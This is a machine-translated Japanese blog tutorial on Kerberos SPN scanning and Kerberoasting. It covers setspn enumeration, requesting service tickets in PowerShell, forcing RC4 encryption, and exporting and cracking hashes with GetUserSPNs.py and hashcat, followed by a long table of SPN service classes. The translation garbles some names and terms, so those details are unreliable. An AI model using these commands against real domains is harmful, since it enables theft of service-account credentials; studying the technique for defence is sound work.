Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86395570

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

0x01 SPN定義

サービスプリンシパル名(SPN)は、特定のKerberosターゲットコンピューターを独自に識別するためにKerberosクライアントが使用するサービスインスタンス名です。 Kerberos AuthenticationはSPNを使用して、サービスインスタンスをサービスログインアカウントに関連付けます。森林全体のコンピューターに複数のサービスインスタンスがインストールされている場合、各インスタンスには独自のSPNが必要です。クライアントが複数の名前で認証できる場合、特定のサービスインスタンスには複数のSPNを持つことができます。たとえば、SPNには常にサービスインスタンスを実行するホスト名が含まれているため、サービスインスタンスはホストの各名前またはエイリアスのSPNを登録できます。

0x02 SPNスキャン

SNスキャンは、Kerberosサービスインスタンス名をスキャンすることもできます。アクティブなディレクトリ環境でサービスを発見する最良の方法は、「SPNスキャン」を使用することです。特定のSPNタイプのサービスプリンシパル名を要求してサービスを見つけることにより、ネットワークポートスキャンを介したSPNスキャン攻撃者の主な利点は、SPNスキャンでは、ネットワークに接続された各IPがサービスポートを確認する必要がないことです。 SPNスキャンは、LDAPクエリを介してドメインコントローラーにサービスの発見を実行します。 SPNクエリは通常のKerberosチケットの一部であるため、クエリを使用できない場合は、ネットワークポートスキャンで確認できます。

1.SPNフォーマット

spn=serviceclass "/" hostname [":" port] ["/" serviceName]

ServiceClass=MSSQL

servicename=sql.bk.com

で:

ServiceClass: Webサービスのwwwなどのサービスクラスの文字列を識別します

HOSTNAME:文字列はシステムの名前です。これは、完全に適格なドメイン名(FQDN)である必要があります。

PORT:番号はサービスのポート番号です。

ServicEname:サービスの著名な名前(DN)、ObjectGuid、インターネットホスト名、または完全に適格なドメイン名(FQDN)である文字列。

注:サービスクラスとホストが必要なパラメーターですが、ポートとサービス名はオプションです。ホストとポートの間のコロンは、ポートが存在する場合にのみ必要です。

2。一般的なサービスとSPNサービスインスタンス名

mssqlsvc/adsmssqlap01.adsecurity.org:1433

交換

Exchangemdb/adsmsexcas01.adsecurity.org

RDP

The Termerv/adsmsexcas01.adsecurity.org

WSMAN/WINRM/PSリモート

wsman/adsmsexcas01.adsecurity.org

Hyper-Vホスト

Microsoft Virtual Console Service/adsmshv01.adsecurity.org

vmware vcenter

sts/adsmsvc01.adsecurity.org

2。 SPNスキャンPSスクリプト

MSSQLサービスでSPNサービスインスタンスの名前を発見してください。

https://github.com/pyrotek3/powershell-ad-recon/blob/master/discover-psmssqlservers

他のSPNサービスインスタンス名クエリ:

https://github.com/pyrotek3/powershell-ad-recon

各サーバーはKerberos認証サービスにSPNを登録する必要があるため、これはポートスキャンを実行せずに環境に関する情報を収集するのに最適な方法を提供します。

例えば:

管理者は、「MetCorpKCS17」という名前のサーバーにMicrosoft SQL Serverをインストールおよび構成し、ポート3170 3および3171に耳を傾けるSQLインスタンスを使用します。

その後、サービスクラスとインスタンス名は次のように生成されます。

MSSQLSVC/METCORPKCS17.ADSECURITY.org:3170MSSQLSVC/METCORPKCS17.ADSECURITY.org:3171

青い部分はサービスクラス、オレンジ色の部分はコンピューターのFQDN、緑の部分はネットワークポート番号です。KerberosはSPN要求がディレクトリの既存のSPNに一致するため、最後の番号は必ずしもサーバー上のポートではありません。上記のように、ほとんどの場合、SPNに記録されたポートはサーバー上のリスニングポートであり、すべてのSPNがポートを含むわけではありません。これで、Active DirectoryドメインまたはフォレストでSQLサーバーを発見するためのより良い方法があります。ServicePrincipalName=MSSQL*

0x03

SPNスキャンとクラッキングTGSチケットはMSSQLサービスを使用してSPNを例として構成します

参照構成アドレス:

https://technet.microsoft.com/zh-cn/library/bb735885.aspx

1。SQLの場合

サーバーサービスアカウント登録SPN

手動登録:

setSpn -a mssqlsvc/myhost.redmond.microsoft.com:1433 accountname

対応する名前のインスタンス:

setSpn -a mssqlsvc/myhost.redmond.microsoft.com/instancename accountname

2。ユーザーに対応するSPNを確認します。

setspn -l ruos \ sql -service

3. ADSI(ADSIEDIT.MSC)を使用して、ユーザー属性を表示します

if12lntn3uh9183.png

4.広告のユーザーにサービスログイン権限を指定します。

gpo_name \ computer

Configuration \ Windows Settings \ Security Settings \ Local Policies \ User Rights

割り当て

サービスとしてログオンします

sprrfgittw49184.png

5 .変更

SQL Server Serviceアカウントはドメインユーザーアカウントです

6。ブルートフォースケルベロス

TGSチケット

暗号化タイプはRC4_HMAC_MD5であるため、Kerberos Protocol TGS-REPの4番目のステップは、サービスアカウントのNTLMパスワードで暗号化されたチケットを返します。

7.SPNスキャン

setspn -t

ドメイン-Q */*

または

https://github.com/pyrotek3/powershell-ad-recon/

efp004ohv0h9185.png

8。spnをリクエストします

Kerberosのチケット

PS C: \

Add -Type -Assemblyname System.IdentityModel

PS C: \

new-Object System.IdentityModel.tokens.kerberosRequestorseCurityToken

-argumentlist 'mssqlsvc/webtst01.ruos.org/sqlexpress'

9。チケットを表示およびエクスポートします

igere0fzrt59186.png

デフォルトの構成暗号化タイプはAES256_HMACであり、TGSREPCRACKをクラックできません。サーバーグループポリシーで暗号化タイプをRC4_HMAC_MD5として指定できます。

gpo_name \ computer configuration \ windows settings \ security settings \ local

ポリシー\セキュリティオプション

Network Security: Kerberosに許可される暗号化タイプを構成します

10。オフラインのひび割れ

TGSREPACK(RC4_HMAC_MD5のみ)、またはハッシュカットを使用してハッシュを保存してクラックします。

cww114a5bjo9187.png

ハッシュをエクスポートする(他の暗号化タイプ用)

getUserSpns.py -Request -OutputFile hash.txt -dc-ip 192.168.6.2 ruos.org/user2

または、請求書からkirbi2john.pyをエクスポートします

1-40A00000-USER2@MSSQLSVC~webtst01.ruos.org~sqlexpress-ruos.org.kirbi

S2。 hashcat64.exe -m 13100 hash.txt emple.dict –force

次のように他のひび割れツールを参照することもできます。

https://github.com/nidem/kerberoast

https://github.com/coresecurity/impacket

https://github.com/nidem/kerberoast/blob/master/kirbi2john.py

0x04

Active Directoryサービスの包括的な参照テーブルプリンシパル名(SPN)Acronisagent:Acronisバックアップおよびデータ回復ソフトウェア用

Adtserver:ACSを備えたMicrosoftシステム

センターオペレーションマネージャー(2007/2012)管理サーバー

Afpserver:Appleアーカイブプロトコル

AGPMSERVER:Microsoft Advanced Group Policy Management(AGPM)

aradminsvc-タスクマスターロールサーバー

ARSSVC-タスクマスターロールサーバー

BOCMS:コマーシャルCMS

BOSSO:ビジネスオブジェクト

CESREMOTE:VMware上のCitrix VDIソリューションに関連して、多くのVDIワークステーションにはこのSPNがあります。

CIFS:ユニバーサルインターネットファイルシステム

CMRCService:Microsoft System Center Configuration Manager(SCCM)リモートコントロール

CusessionKeysVr:Cisco Unity VoIPシステム

CVS:CVSライブラリ

DFSR *:分散ファイルシステム

DNS:ドメイン名サーバー

E3514235-4B06-11D1-AB04-00C04FC2DCD2:NTDS DC RPCコピー

E3514235-4B06-11D1-AB04-00C04FC2DCD2-ADAM:Adam Instance

EDVR:ExacqVision Service

ExchAngeAB:アドレス帳サービスを交換(通常はNSPI、通常はすべてのGCをサポートするドメインコントローラー)

ExchangemDB:RPCクライアントアクセスサーバーの役割

Exchangerfr:アドレス帳サービスを交換します

FCSVR:Apple Final Cut Server

filerepservice:wsfilerepservice.exe

FimService:Microsoft

最前線の識別マネージャー(FIM)

FTP:ファイル転送プロトコル

GC:ドメインコントローラーグローバルカタログサービス

HDFS:Hadoop(Ambari)

ホスト:ホストサービスはホストを表します。ホストSPNは、サービスチケットの作成時にKerberosプロトコルによって長期キーを使用するホストアカウントにアクセスするために使用されます。

HTTP:Kerberos認証をサポートするHTTPネットワークサービスのSPN

Hyper-Vレプリカサービス:Microsoft Hyper-Vレプリカサービス

IMAP:インターネットメッセージアクセスプロトコル

IMAP4:インターネットメッセージアクセスプロトコルバージョン4

IPP:インターネット印刷プロトコル

ISCSITARGET:ISCSI構成

Kadmin:Kerberos

LDAP:ドメインコントローラーやAdamインスタンスなどのLDAPサービス。

MAGFS:Maginatics Magfs

MapRed:Cloudera

Microsoft Virtual Consoleサービス:HyperVホスト

Microsoft Virtual System Migration Service:P2Vサポート(Hyper-V)

Mongod:Mongodb Enterprise

Mongos:Mongodb Enterprise

MSClusterVirtualServer:Windowsクラスターサーバー

MSOLAPSVC:SQL Server Analysis Service

MSOLAPSVC.3:SQL Server Analysis Service

MSOLAPDISCO.3:SQL Server Analysis Service

MSOMHSVC:Microsoft System Center Operations Manager(2007/2012)管理サーバー

MSOMSDKSVC:Microsoft System

センターオペレーションマネージャー(2007/2012)管理サーバー

MSSERVERCLUSTER:Windowsクラスターサーバー

MSSERVERCLUSTERMGMTAPI:このクラスターAPIでは、このSPNにKerberosを使用してサーバーに認証する必要があります

MSSQL:Microsoft SQL

サーバ

MSSQLSVC:Microsoft SQL

サーバ

MSSQL $ ADOBECONNECT:Adobe ConnectをサポートするMicrosoft

SQL Server

MSSQL $ BIZTALK:Microsoft SQL

サーバーはMicrosoftをサポートします

biztalkサーバー

MSSQL $ BusinessObjects:ビジネスオブジェクトをサポートするMicrosoft

SQL Server

MSSQL $ DB01NETIQ:NETIQをサポートするMicrosoft SQL

サーバ

NFS:ネットワークファイルシステム

Nppolicyevaluator:Dell Quest監査人

Nprepository 4(Changeauditor):Dell Quest Change

監査人

NPREPOSITORY4(CAAD):Dell Quest監査人

NPREPOSITORY4(デフォルト):Dell Task Auditor

NTFRS *:NTファイルコピーサービス

Oracle:Oracle Kerberos認証

Pcast:Apple Podcastプロデューサー

PCNSCLNT:自動パスワード同期ソリューション(MIIS 2003&FIM)

ポップ:電子メール契約

POP3:電子メール契約バージョン3

PVSSOAP:Citrix

プロビジョニングサービス(7.1)

制限付きkrbhost:サービスクラスの文字列が「restrictedkrbhost」に等しいSPNを使用するサービスクラス。サービスバウチャーはコンピューターアカウントキーを使用してセッションキーを共有します。

RPC:リモートプロシージャコールサービス

SAP:SAP/SAPSERVICE

シド

SAS:SASサーバー

SCVMM:システムセンター仮想マシンマネージャー

Secshd:IBM Infosphere

SIP:セッションスタートアッププロトコル

SMTP:単純なメール転送プロトコル

SMTPSVC:単純なメール転送プロトコル

SoftGrid:Microsoftアプリケーション仮想化(APP-V)以前は「SoftGrid」

STS:VMware SSOサービス

SQLAGENT $ DB01NETIQ:SQL Service for Netiq

Tapenego:Microsoftファイアウォール(ISA、TMGなど)などのルーティングアプリケーションに関連付けられています。

The ThersRV:Microsoftリモートデスクトッププロトコルサービス、ターミナルサービスとしても知られています。

TNETD:Juniper Kerberos認証

「TNETDは、ルーティングエンジンやパケット転送エンジンなどのさまざまなコンポーネント間の内部通信に使用されるデーモンです」

VMRC:Microsoft Virtual Server 2005

VNC:VNCサーバー

VPN:仮想プライベートネットワーク

VPRORECOVERY BACKUP Exec System Recovery Agent 7.0

VPRORECOVERY BACKUP Exec System Recovery Agent 8.0

VPRORECOVERYバックアップEXECシステム回復エージェント9.0

vProrecovery Norton Clone Proxy 12.0

vprorecoverynorton

クローンプロキシ14.0VPRORECOVERY NORTON CLONE Proxy 15.0

VProRecovery Symantec System Recovery Agent 10.0

VProRecovery Symantec System Recovery Agent 11.0

VProRecovery Symantec System Recovery Agent 14.0

vssrvc: Microsoft Virtual Server (2005)

WSMAN:Windowsリモート管理(WS管理標準に基づく)サービス

XMPP/XMPP:拡張可能なメッセージとレンダリングプロトコル(Jabber)

Xgrid:Appleの分散(グリッド)計算/

Mac OS X 10.6サーバー管理

糸:クルダラ

MapReduce

注:ドメインコントローラーは、パブリックSPNをホストSPNに自動的にマッピングします。コンピューターがドメインに結合されると、ホストSPNはすべてのコンピューターアカウントのServicePrincipalNameプロパティに自動的に追加されます。ドメインコントローラーSPNマッピングは、SPNMAppingsのプロパティによって制御されます。

「CN=ディレクトリ

サービス、cn=windowsnt、cn=services、cn=configuration

SPNは自動的にホスト(SPNMAPPING属性値):Alerterにマッピングされます

appmgmt

CISVC

Clipsrv

ブラウザ

DHCP

dnscache

レプリケーター

eventlog

Eventsystem

政策立案者

オークリー

dmserver

DNS

MCSVC

ファックス

msserver

IAS

メッセンジャー

Netlogon

ネットマン

netdde

netddedsm

nmagent

プラグプレイ

ProtectedStorage

ラスマン

rpclocator

RPC

RPCSS

RemoteaCcess

お返事お願いします

samss

scandsvr

SSRV

Seclogon

SCM

DCOM

CIF

スプーラ

SNMP

スケジュール

tapisrv

trksvr

trkwks

UPS

時間

勝ちます

www

http

W3SVC

iisadmin

MSDTC